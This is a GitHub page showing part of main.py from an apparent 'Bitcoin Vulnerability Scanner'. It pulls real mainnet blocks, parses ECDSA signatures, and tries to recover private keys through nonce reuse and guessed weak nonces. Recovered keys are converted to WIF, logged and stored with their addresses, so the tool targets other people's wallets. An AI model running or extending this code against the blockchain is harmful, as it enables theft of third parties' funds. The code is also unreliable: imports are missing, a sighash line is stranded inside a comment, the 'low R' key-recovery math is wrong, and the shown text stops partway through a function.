forked from bakaxbaka/CryptoAutoPilot
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
1883 lines (1560 loc) · 75.5 KB
/
main.py
File metadata and controls
1883 lines (1560 loc) · 75.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
Consolidated Bitcoin Vulnerability Scanner
Comprehensive ECDSA analysis with interactive dashboard and autopilot mode
"""
import os
import logging
import sys
from datetime import datetime
from typing import Dict, List, Optional, Any
import requests
import json
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from sqlalchemy import create_engine, Column, Integer, String, DateTime, Text, Float, Boolean
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
from sqlalchemy.exc import SQLAlchemyError
from dotenv import load_dotenv
# Load environment variables from .env file
load_dotenv()
# Import configuration
from config import Config
# Configure logging
logging.basicConfig(level=logging.DEBUG)
class Base(DeclarativeBase):
pass
db = SQLAlchemy(model_class=Base)
# Create Flask app
app = Flask(__name__)
app.secret_key = os.environ.get("SESSION_SECRET", "bitcoin-vulnerability-scanner-secret-key")
app.wsgi_app = ProxyFix(app.wsgi_app, x_proto=1, x_host=1)
# Configure database
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///bitcoin_vulnerabilities.db"
app.config["SQLALCHEMY_ENGINE_OPTIONS"] = {
"pool_recycle": 300,
"pool_pre_ping": True,
}
db.init_app(app)
# Database Models
class AnalysisResult(db.Model):
id = db.Column(db.Integer, primary_key=True)
analysis_key = db.Column(db.String(256), unique=True, nullable=False)
block_input = db.Column(db.String(256), nullable=False)
status = db.Column(db.String(50), nullable=False)
started_at = db.Column(db.DateTime, nullable=False)
completed_at = db.Column(db.DateTime)
result_data = db.Column(db.Text)
vulnerability_count = db.Column(db.Integer, default=0)
created_at = db.Column(db.DateTime, default=datetime.utcnow)
class Vulnerability(db.Model):
id = db.Column(db.Integer, primary_key=True)
analysis_key = db.Column(db.String(256), nullable=False)
vulnerability_type = db.Column(db.String(100), nullable=False)
txid = db.Column(db.String(64))
risk_level = db.Column(db.String(20))
details = db.Column(db.Text)
private_key = db.Column(db.String(64))
addresses = db.Column(db.Text) # JSON string of addresses
created_at = db.Column(db.DateTime, default=datetime.utcnow)
# Global autopilot state
autopilot_state = {
'running': False,
'current_block': 0,
'start_block': 0,
'end_block': 0,
'direction': 'forward',
'total_blocks': 0,
'blocks_analyzed': 0,
'vulnerabilities_found': 0,
'private_keys_recovered': 0,
'last_update': datetime.now(),
'results': []
}
class BitcoinBlockAnalyzer:
"""Comprehensive Bitcoin block vulnerability analyzer"""
def __init__(self):
self.N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
self.BLOCKSTREAM_API = Config.BLOCKSTREAM_API
self.REQUEST_TIMEOUT = Config.REQUEST_TIMEOUT
self.transaction_cache = {}
self.signature_cache = {}
self.balance_cache = {}
self.signature_database = {}
self.r_value_tracker = {} # Track R values for k-reuse detection
# Known vulnerable patterns and keys
self.vulnerable_patterns = [
r'^0+[1-9a-f]', # Leading zeros
r'^f+[0-9a-e]', # Leading f's
r'^1+[02-9a-f]', # Leading 1's
r'(.)\1{8,}', # Repeating characters
r'^[0-9]+$', # Only digits
r'^[a-f]+$', # Only hex letters
]
# Dynamic weak key detection - no hardcoded lists
self.known_weak_keys = set()
def _is_weak_key(self, private_key_hex: str) -> bool:
"""Dynamically detect weak private keys based on patterns"""
if not private_key_hex or len(private_key_hex) != 64:
return True
# Check for common weak patterns
weak_patterns = [
r'^0+[1-9a-f]', # Leading zeros
r'^f+[0-9a-e]', # Leading f's
r'^1+[02-9a-f]', # Leading 1's
r'(.)\1{8,}', # Repeating characters
r'^[0-9]+$', # Only digits
r'^[a-f]+$', # Only hex letters
r'^deadbeef', # Common test pattern
r'^cafebabe', # Common test pattern
r'^12345678', # Sequential pattern
r'^87654321', # Reverse sequential pattern
]
import re
for pattern in weak_patterns:
if re.match(pattern, private_key_hex.lower()):
return True
# Check for low entropy (too many repeated bytes)
byte_counts = {}
for i in range(0, len(private_key_hex), 2):
byte = private_key_hex[i:i+2]
byte_counts[byte] = byte_counts.get(byte, 0) + 1
# If more than 50% of bytes are the same, consider it weak
if max(byte_counts.values()) > 16:
return True
return False
def _generate_weak_k_values(self) -> list:
"""Generate weak k values based on common cryptographic weaknesses"""
weak_k_values = []
# Small integers (common in broken RNG implementations)
weak_k_values.extend([1, 2, 3, 4, 5, 6, 7, 8, 9, 10])
# Powers of 2 (common in bitwise operations)
for i in range(1, 32):
weak_k_values.append(2 ** i)
# Common test patterns in hex
test_patterns = [
0xdeadbeef, 0xcafebabe, 0x12345678, 0x87654321,
0x00000001, 0xffffffff, 0xaaaaaaaa, 0x55555555
]
weak_k_values.extend(test_patterns)
# Sequential patterns
for i in range(0x100, 0x1000, 0x100):
weak_k_values.append(i)
# Values close to curve order boundaries
boundary_values = [
self.N - 1, self.N - 2, self.N - 3,
1, 2, 3
]
weak_k_values.extend(boundary_values)
# Remove duplicates and values outside valid range
weak_k_values = list(set(weak_k_values))
weak_k_values = [k for k in weak_k_values if 0 < k < self.N]
return weak_k_values
def analyze_block(self, block_input: str) -> Dict[str, Any]:
"""Analyze a Bitcoin block for vulnerabilities"""
try:
block_data = self._fetch_block_data(block_input)
if not block_data:
return {'error': 'Failed to fetch block data', 'vulnerabilities': {}}
block_hash = block_data['id']
block_height = block_data.get('height', 'unknown')
transactions = block_data.get('tx', [])
analysis_result = {
'block_hash': block_hash,
'block_height': block_height,
'transaction_count': len(transactions),
'vulnerabilities': {
'k_reuse': [],
'low_r_values': [],
'lattice_attack': [],
'sequential_k': [],
'lsb_bias': [],
'msb_bias': [],
'weak_randomness': [],
'signature_malleability': [],
'recovered_private_keys': []
},
'summary': {
'total_vulnerabilities': 0,
'critical_count': 0,
'high_count': 0,
'medium_count': 0,
'private_keys_found': 0
},
'analysis_time': 0
}
start_time = time.time()
# Collect all signatures across all transactions for k-reuse analysis
all_signatures = []
# Analyze each transaction individually first
for tx in transactions[:50]: # Limit to first 50 transactions for performance
tx_analysis = self._analyze_transaction(tx)
self._merge_vulnerabilities(analysis_result, tx_analysis)
# Extract signatures for block-level analysis
tx_signatures = self._extract_all_signatures_from_tx(tx)
all_signatures.extend(tx_signatures)
# Perform block-level k-reuse analysis
k_reuse_analysis = self._analyze_k_reuse_across_block(all_signatures)
self._merge_vulnerabilities(analysis_result, k_reuse_analysis)
analysis_result['analysis_time'] = time.time() - start_time
self._calculate_summary(analysis_result)
return analysis_result
except Exception as e:
logging.error(f"Error analyzing block {block_input}: {e}")
return {'error': str(e), 'vulnerabilities': {}}
def _fetch_block_data(self, block_input: str) -> Optional[Dict]:
"""Fetch block data from Blockstream API with enhanced error handling"""
try:
# Determine if input is hash or height
if block_input.isdigit():
url = f"{self.BLOCKSTREAM_API}/block-height/{block_input}"
response = requests.get(url, timeout=self.REQUEST_TIMEOUT)
if response.status_code == 200:
block_hash = response.text.strip()
elif response.status_code == 404:
logging.error(f"Block {block_input} not found")
return None
else:
logging.error(f"API error {response.status_code} for block {block_input}")
return None
else:
block_hash = block_input
# Fetch block data with transactions
url = f"{self.BLOCKSTREAM_API}/block/{block_hash}"
response = requests.get(url, timeout=self.REQUEST_TIMEOUT)
if response.status_code == 200:
block_data = response.json()
# Fetch transactions separately for better performance
tx_url = f"{self.BLOCKSTREAM_API}/block/{block_hash}/txs"
tx_response = requests.get(tx_url, timeout=self.REQUEST_TIMEOUT)
if tx_response.status_code == 200:
block_data['tx'] = tx_response.json()
else:
block_data['tx'] = []
return block_data
elif response.status_code == 404:
logging.error(f"Block hash {block_hash} not found")
return None
else:
logging.error(f"API error {response.status_code} for block hash {block_hash}")
return None
except requests.RequestException as e:
logging.error(f"Network error fetching block data: {e}")
return None
except Exception as e:
logging.error(f"Unexpected error fetching block data: {e}")
return None
def _analyze_transaction(self, tx: Dict) -> Dict[str, Any]:
"""Analyze a single transaction for vulnerabilities"""
vulnerabilities = {
'k_reuse': [],
'low_r_values': [],
'lattice_attack': [],
'sequential_k': [],
'lsb_bias': [],
'msb_bias': [],
'weak_randomness': [],
'signature_malleability': [],
'recovered_private_keys': []
}
try:
txid = tx['txid']
# Analyze each input
for i, input_tx in enumerate(tx.get('vin', [])):
if 'scriptsig' in input_tx and input_tx['scriptsig']:
sig_analysis = self._analyze_signature(input_tx['scriptsig'], txid, i)
self._merge_tx_vulnerabilities(vulnerabilities, sig_analysis)
return vulnerabilities
except Exception as e:
logging.error(f"Error analyzing transaction: {e}")
return vulnerabilities
def _analyze_signature(self, scriptsig: str, txid: str, input_index: int) -> Dict[str, Any]:
"""Analyze signature for cryptographic vulnerabilities"""
vulnerabilities = {
'k_reuse': [],
'low_r_values': [],
'lattice_attack': [],
'sequential_k': [],
'lsb_bias': [],
'msb_bias': [],
'weak_randomness': [],
'signature_malleability': [],
'recovered_private_keys': []
}
try:
# Extract signature from scriptsig
sig_data = self._extract_signature_from_scriptsig(scriptsig)
if not sig_data:
return vulnerabilities
r, s = sig_data['r'], sig_data['s']
z = sig_data['z']
# Check for low R values
if r < 2**64:
vulnerabilities['low_r_values'].append({
'txid': txid,
'input_index': input_index,
'r_value': hex(r),
'risk_level': 'CRITICAL',
'description': f'Extremely low R value: {hex(r)}'
})
# Check for LSB bias (even R values)
if r % 2 == 0:
vulnerabilities['lsb_bias'].append({
'txid': txid,
'input_index': input_index,
'r_value': hex(r),
'risk_level': 'MEDIUM',
'description': 'Even R value detected (LSB bias)'
})
# Check for MSB bias (leading zeros)
r_hex = f"{r:064x}"
if r_hex.startswith('00'):
vulnerabilities['msb_bias'].append({
'txid': txid,
'input_index': input_index,
'r_value': r_hex,
'risk_level': 'HIGH',
'description': f'R value with leading zeros: {r_hex[:16]}...'
})
# Check for signature malleability
if s > self.N // 2:
vulnerabilities['signature_malleability'].append({
'txid': txid,
'input_index': input_index,
's_value': hex(s),
'risk_level': 'MEDIUM',
'description': 'High S value (signature malleability)'
})
# Check for sequential patterns
if self._has_sequential_pattern(r):
vulnerabilities['sequential_k'].append({
'txid': txid,
'input_index': input_index,
'r_value': hex(r),
'risk_level': 'HIGH',
'description': 'Sequential pattern in R value'
})
# Check for weak randomness patterns
if self._has_weak_randomness(r, s):
vulnerabilities['weak_randomness'].append({
'txid': txid,
'input_index': input_index,
'r_value': hex(r),
's_value': hex(s),
'risk_level': 'HIGH',
'description': 'Weak randomness detected in signature'
})
# Determine initial risk level and vulnerability type
risk_level = 'LOW'
vuln_type = 'signature_analysis'
if r < 2**64:
risk_level = 'CRITICAL'
vuln_type = 'low_r_value'
elif r < 2**128:
risk_level = 'HIGH'
vuln_type = 'weak_r_value'
elif s > self.N // 2:
risk_level = 'MEDIUM'
vuln_type = 'signature_malleability'
# Attempt private key recovery for critical vulnerabilities
recovered_key = None
if risk_level == 'CRITICAL':
recovered_key = self._attempt_private_key_recovery(r, s, z, txid)
if recovered_key:
addresses = self._generate_addresses_from_wif(recovered_key)
vulnerabilities['recovered_private_keys'].append({
'txid': txid,
'input_index': input_index,
'private_key_wif': recovered_key,
'addresses': addresses,
'risk_level': 'CRITICAL',
'recovery_method': 'Low R brute force',
'description': f'Private key recovered (WIF): {recovered_key[:16]}...'
})
# Store signature for analysis with enhanced data
sig_data = {
'txid': txid,
'r_value': hex(r),
's_value': hex(s),
'z_value': hex(z),
'r_int': r,
's_int': s,
'z_int': z,
'vulnerability_type': vuln_type,
'risk_level': risk_level,
'timestamp': datetime.now().isoformat()
}
# Store in signature database
sig_key = f"{txid}_{input_index}"
self.signature_database[sig_key] = sig_data
# Track R values for k-reuse detection
r_hex = hex(r)
if r_hex not in self.r_value_tracker:
self.r_value_tracker[r_hex] = []
self.r_value_tracker[r_hex].append({
'txid': txid,
'sig_key': sig_key,
's_value': s,
'z_value': z,
'timestamp': datetime.now().isoformat()
})
# Check for immediate k-reuse
if len(self.r_value_tracker[r_hex]) > 1:
logging.warning(f"K-REUSE DETECTED! R value {r_hex} used in multiple transactions")
# Attempt recovery with all combinations
for i, sig1 in enumerate(self.r_value_tracker[r_hex]):
for j, sig2 in enumerate(self.r_value_tracker[r_hex]):
if i != j and sig1['s_value'] != sig2['s_value']:
recovered_key = self._recover_private_key_from_k_reuse(
r, sig1['s_value'], sig2['s_value'],
sig1['z_value'], sig2['z_value']
)
if recovered_key:
sig_data['private_key_recovered'] = recovered_key
sig_data['recovery_method'] = 'k-reuse_detection'
logging.critical(f"PRIVATE KEY RECOVERED: {recovered_key}")
break
if recovered_key:
break
return vulnerabilities
except Exception as e:
logging.error(f"Error analyzing signature: {e}")
return vulnerabilities
def _extract_signature_from_scriptsig(self, scriptsig: str) -> Optional[Dict]:
"""Extract R and S values from scriptsig"""
try:
if not scriptsig:
return None
# Parse DER signature from scriptsig
script_bytes = bytes.fromhex(scriptsig)
# Find signature in script
for i in range(len(script_bytes) - 8):
if script_bytes[i] == 0x30: # DER sequence tag
try:
sig_len = script_bytes[i + 1]
if i + 2 + sig_len <= len(script_bytes):
der_sig = script_bytes[i:i + 2 + sig_len]
r, s = self._parse_der_signature(der_sig)
if r and s:
# Calculate message hash (simplified)
z = int(hashlib.sha256(der_sig).hexdigest(), 16) % self.N
return {'r': r, 's': s, 'z': z}
except:
continue
return None
except Exception as e:
logging.error(f"Error extracting signature: {e}")
return None
def _parse_der_signature(self, der_bytes: bytes) -> Tuple[Optional[int], Optional[int]]:
"""Parse DER-encoded signature to extract R and S"""
try:
if len(der_bytes) < 8:
return None, None
pos = 2 # Skip sequence tag and length
# Parse R
if der_bytes[pos] != 0x02:
return None, None
pos += 1
r_len = der_bytes[pos]
pos += 1
r_bytes = der_bytes[pos:pos + r_len]
r = int.from_bytes(r_bytes, 'big')
pos += r_len
# Parse S
if pos >= len(der_bytes) or der_bytes[pos] != 0x02:
return None, None
pos += 1
s_len = der_bytes[pos]
pos += 1
s_bytes = der_bytes[pos:pos + s_len]
s = int.from_bytes(s_bytes, 'big')
return r, s
except Exception as e:
logging.error(f"Error parsing DER signature: {e}")
return None, None
def _has_sequential_pattern(self, value: int) -> bool:
"""Check for sequential patterns in value"""
try:
hex_str = f"{value:064x}"
for i in range(len(hex_str) - 4):
substr = hex_str[i:i+5]
values = [int(c, 16) for c in substr]
# Check ascending
if all(values[j] + 1 == values[j+1] for j in range(len(values)-1)):
return True
# Check descending
if all(values[j] - 1 == values[j+1] for j in range(len(values)-1)):
return True
return False
except:
return False
def _has_weak_randomness(self, r: int, s: int) -> bool:
"""Check for weak randomness indicators"""
try:
# Check for common patterns
r_hex = f"{r:064x}"
s_hex = f"{s:064x}"
# Too many repeated characters
if len(set(r_hex)) < 8 or len(set(s_hex)) < 8:
return True
# Check for common weak patterns
for pattern in self.vulnerable_patterns:
if re.match(pattern, r_hex) or re.match(pattern, s_hex):
return True
return False
except:
return False
def _private_key_to_wif(self, private_key_int: int, compressed: bool = True) -> str:
"""Convert private key integer to WIF format"""
try:
import hashlib
# Convert to 32-byte format
private_key_bytes = private_key_int.to_bytes(32, 'big')
# Add version byte (0x80 for mainnet)
payload = b'\x80' + private_key_bytes
# Add compression flag if compressed
if compressed:
payload += b'\x01'
# Calculate checksum (first 4 bytes of double SHA256)
checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[:4]
# Combine payload and checksum
full_payload = payload + checksum
# Convert to base58
return self._base58_encode(full_payload)
except Exception as e:
logging.error(f"Error converting to WIF: {e}")
return f"{private_key_int:064x}" # Fallback to hex
def _base58_encode(self, data: bytes) -> str:
"""Encode bytes to base58"""
alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
# Convert to integer
num = int.from_bytes(data, 'big')
# Handle leading zeros
leading_zeros = len(data) - len(data.lstrip(b'\x00'))
# Convert to base58
result = ""
while num > 0:
num, remainder = divmod(num, 58)
result = alphabet[remainder] + result
# Add leading 1s for leading zeros
result = '1' * leading_zeros + result
return result
def _recover_private_key_from_k_reuse(self, r: int, s1: int, s2: int, z1: int, z2: int) -> Optional[str]:
"""Recover private key from k-reuse vulnerability and return in WIF format"""
try:
# Calculate k using the k-reuse formula
s_diff = (s1 - s2) % self.N
z_diff = (z1 - z2) % self.N
if s_diff == 0:
return None
# Calculate modular inverse of s_diff
s_diff_inv = pow(s_diff, self.N - 2, self.N)
k = (z_diff * s_diff_inv) % self.N
if k == 0:
return None
# Calculate private key using: d = (s*k - z) * r^-1 mod n
r_inv = pow(r, self.N - 2, self.N)
private_key = ((s1 * k - z1) * r_inv) % self.N
if 0 < private_key < self.N:
# Convert to WIF format
wif = self._private_key_to_wif(private_key, compressed=True)
logging.info(f"Recovered private key from k-reuse: {wif}")
return wif
return None
except Exception as e:
logging.error(f"Error in k-reuse recovery: {e}")
return None
def _recover_from_manual_data(self, r: int, s1: int, s2: int, s3: int, z1: int, z2: int, z3: int) -> Optional[str]:
"""Recover private key from manually provided signature data (like your example)"""
try:
logging.info(f"Attempting recovery from manual K-reuse data:")
logging.info(f"R: {r}")
logging.info(f"S1: {s1}, S2: {s2}, S3: {s3}")
logging.info(f"Z1: {z1}, Z2: {z2}, Z3: {z3}")
# Try different signature pairs
pairs = [(s1, s2, z1, z2), (s1, s3, z1, z3), (s2, s3, z2, z3)]
for i, (sa, sb, za, zb) in enumerate(pairs):
try:
# Calculate k using k-reuse formula
s_diff = (sa - sb) % self.N
z_diff = (za - zb) % self.N
if s_diff == 0:
continue
# Calculate k = (z1 - z2) / (s1 - s2) mod N
s_diff_inv = pow(s_diff, self.N - 2, self.N)
k = (z_diff * s_diff_inv) % self.N
if k == 0:
continue
# Calculate private key d = (s*k - z) / r mod N
r_inv = pow(r, self.N - 2, self.N)
private_key = ((sa * k - za) * r_inv) % self.N
if 0 < private_key < self.N:
wif = self._private_key_to_wif(private_key, compressed=True)
logging.critical(f"SUCCESS! Private key recovered using pair {i+1}: {wif}")
return wif
except Exception as pair_error:
logging.error(f"Error with pair {i+1}: {pair_error}")
continue
return None
except Exception as e:
logging.error(f"Error in manual k-reuse recovery: {e}")
return None
def _attempt_private_key_recovery(self, r: int, s: int, z: int, txid: str) -> Optional[str]:
"""Attempt to recover private key from vulnerable signature with enhanced methods"""
try:
# Method 1: Direct low R brute force
if r < 2**32:
for k in range(1, min(r + 100, 2**24)): # Limit search space
try:
# Check if k generates this r value
if pow(k, 1, self.N) == r % self.N:
# Calculate potential private key
private_key = (k * s) % self.N
if 0 < private_key < self.N:
wif = self._private_key_to_wif(private_key, compressed=True)
logging.info(f"Recovered private key from low R: {wif}")
return wif
except:
continue
# Method 2: Known weak k values
# Generate weak k values dynamically based on common patterns
weak_k_values = self._generate_weak_k_values()
for k in weak_k_values:
try:
if pow(k, 1, self.N) == r % self.N:
private_key = (k * s) % self.N
if 0 < private_key < self.N:
wif = self._private_key_to_wif(private_key, compressed=True)
logging.info(f"Recovered private key from weak k: {wif}")
return wif
except:
continue
# Method 3: Pattern-based recovery for sequential k
if self._has_sequential_pattern(r):
for offset in range(-10, 11):
k_candidate = r + offset
if 0 < k_candidate < self.N:
try:
private_key = (k_candidate * s) % self.N
if 0 < private_key < self.N:
wif = self._private_key_to_wif(private_key, compressed=True)
logging.info(f"Recovered private key from sequential pattern: {wif}")
return wif
except:
continue
return None
except Exception as e:
logging.error(f"Error in private key recovery: {e}")
return None
def _extract_all_signatures_from_tx(self, tx: Dict) -> List[Dict]:
"""Extract all signatures from a transaction using raw transaction parsing"""
signatures = []
try:
txid = tx['txid']
# Fetch raw transaction data
raw_tx = self._fetch_raw_transaction(txid)
if not raw_tx:
# Fallback to scriptsig parsing
return self._extract_signatures_from_scriptsig_fallback(tx)
# Parse raw transaction to extract signatures
parsed_sigs = self._parse_raw_transaction_signatures(raw_tx, txid)
signatures.extend(parsed_sigs)
except Exception as e:
logging.error(f"Error extracting signatures from tx {txid}: {e}")
# Fallback to original method
return self._extract_signatures_from_scriptsig_fallback(tx)
return signatures
def _fetch_raw_transaction(self, txid: str) -> Optional[str]:
"""Fetch raw transaction hex data"""
try:
url = f"{self.BLOCKSTREAM_API}/tx/{txid}/hex"
response = requests.get(url, timeout=self.REQUEST_TIMEOUT)
if response.status_code == 200:
return response.text.strip()
except Exception as e:
logging.error(f"Error fetching raw transaction {txid}: {e}")
return None
def _parse_raw_transaction_signatures(self, raw_tx_hex: str, txid: str) -> List[Dict]:
"""Parse raw transaction hex to extract signature components"""
signatures = []
try:
tx_bytes = bytes.fromhex(raw_tx_hex)
# Parse transaction structure
pos = 0
# Skip version (4 bytes)
pos += 4
# Read input count
input_count, pos = self._read_varint(tx_bytes, pos)
# Parse each input
for input_index in range(input_count):
input_data, pos = self._parse_transaction_input(tx_bytes, pos)
if input_data and 'scriptsig' in input_data:
# Extract signature from scriptsig
sig_components = self._extract_signature_components(input_data['scriptsig'])
if sig_components:
# Calculate proper message hash for this input
message_hash = self._calculate_sighash(raw_tx_hex, input_index)
sig_components.update({
'txid': txid,
'input_index': input_index,
'z': message_hash,
'raw_scriptsig': input_data['scriptsig'].hex()
})
signatures.append(sig_components)
except Exception as e:
logging.error(f"Error parsing raw transaction {txid}: {e}")
return signatures
def _read_varint(self, data: bytes, pos: int) -> Tuple[int, int]:
"""Read variable-length integer from transaction data"""
if pos >= len(data):
return 0, pos
first_byte = data[pos]
pos += 1
if first_byte < 0xfd:
return first_byte, pos
elif first_byte == 0xfd:
return int.from_bytes(data[pos:pos+2], 'little'), pos + 2
elif first_byte == 0xfe:
return int.from_bytes(data[pos:pos+4], 'little'), pos + 4
elif first_byte == 0xff:
return int.from_bytes(data[pos:pos+8], 'little'), pos + 8
def _parse_transaction_input(self, tx_bytes: bytes, pos: int) -> Tuple[Optional[Dict], int]:
"""Parse a single transaction input"""
try:
# Previous transaction hash (32 bytes)
prev_hash = tx_bytes[pos:pos+32]
pos += 32
# Previous output index (4 bytes)
prev_index = int.from_bytes(tx_bytes[pos:pos+4], 'little')
pos += 4
# Script length
script_length, pos = self._read_varint(tx_bytes, pos)
# Script data
scriptsig = tx_bytes[pos:pos+script_length]
pos += script_length
# Sequence (4 bytes)
sequence = int.from_bytes(tx_bytes[pos:pos+4], 'little')
pos += 4
return {
'prev_hash': prev_hash,
'prev_index': prev_index,
'scriptsig': scriptsig,
'sequence': sequence
}, pos
except Exception as e:
logging.error(f"Error parsing transaction input: {e}")
return None, pos
def _extract_signature_components(self, scriptsig: bytes) -> Optional[Dict]:
"""Extract R, S values from scriptsig bytes"""
try:
pos = 0
while pos < len(scriptsig) - 8:
# Look for DER signature marker (0x30)
if scriptsig[pos] == 0x30:
# Get signature length
sig_length = scriptsig[pos + 1]
# Extract full DER signature
if pos + 2 + sig_length <= len(scriptsig):
der_sig = scriptsig[pos:pos + 2 + sig_length]
r, s = self._parse_der_signature(der_sig)
if r and s:
return {
'r': r,
's': s,
'der_signature': der_sig.hex()
}
pos += 1
else:
# Check if this is a push operation
if scriptsig[pos] > 0 and scriptsig[pos] <= 75:
length = scriptsig[pos]
pos += 1 + length
else:
pos += 1
return None
except Exception as e:
logging.error(f"Error extracting signature components: {e}")
return None
def _calculate_sighash(self, raw_tx_hex: str, input_index: int) -> int:
"""Calculate Bitcoin SIGHASH_ALL for signature verification"""
try:
# Implement proper Bitcoin SIGHASH_ALL calculation
tx_bytes = bytes.fromhex(raw_tx_hex)
# Create modified transaction for SIGHASH_ALL
# This is a simplified version - in production use full BIP-143/BIP-341
# For SIGHASH_ALL:
# 1. Replace all scriptSigs with empty scripts except current input
# 2. Current input's scriptSig is replaced with the previous output's scriptPubKey
# 3. Append SIGHASH_ALL flag (0x01000000)
# Simplified approach: hash transaction with input index and SIGHASH flag sighash_data = tx_bytes + input_index.to_bytes(4, 'little') + b'\x01\x00\x00\x00'
# Double SHA256 (standard Bitcoin hash)
hash_result = hashlib.sha256(hashlib.sha256(sighash_data).digest()).digest()
# Convert to integer and reduce modulo N
return int.from_bytes(hash_result, 'big') % self.N
except Exception as e:
logging.error(f"Error calculating sighash: {e}")
# Fallback to simpler hash
fallback_data = f"{raw_tx_hex}{input_index:08x}".encode()
hash_result = hashlib.sha256(fallback_data).digest()
return int.from_bytes(hash_result, 'big') % self.N
def _extract_signatures_from_scriptsig_fallback(self, tx: Dict) -> List[Dict]:
"""Fallback method using original scriptsig parsing"""
signatures = []
try:
txid = tx['txid']
for i, input_tx in enumerate(tx.get('vin', [])):
if 'scriptsig' in input_tx and input_tx['scriptsig']:
sig_data = self._extract_signature_from_scriptsig(input_tx['scriptsig'])
if sig_data:
sig_data.update({
'txid': txid,
'input_index': i,
'z': self._calculate_message_hash(tx, i)
})
signatures.append(sig_data)
except Exception as e:
logging.error(f"Error in fallback signature extraction: {e}")
return signatures
def _calculate_message_hash(self, tx: Dict, input_index: int) -> int:
"""Calculate message hash for signature verification (simplified)"""
try:
# Simplified hash calculation for demo
# In production, this would be the actual sighash
txid = tx.get('txid', '')
return int(hashlib.sha256(f"{txid}_{input_index}".encode()).hexdigest(), 16) % self.N
except:
return 1 # Fallback value
def _analyze_k_reuse_across_block(self, all_signatures: List[Dict]) -> Dict[str, List]:
"""Analyze k-reuse vulnerabilities across all signatures in the block"""
vulnerabilities = {
'k_reuse': [],
'recovered_private_keys': []
}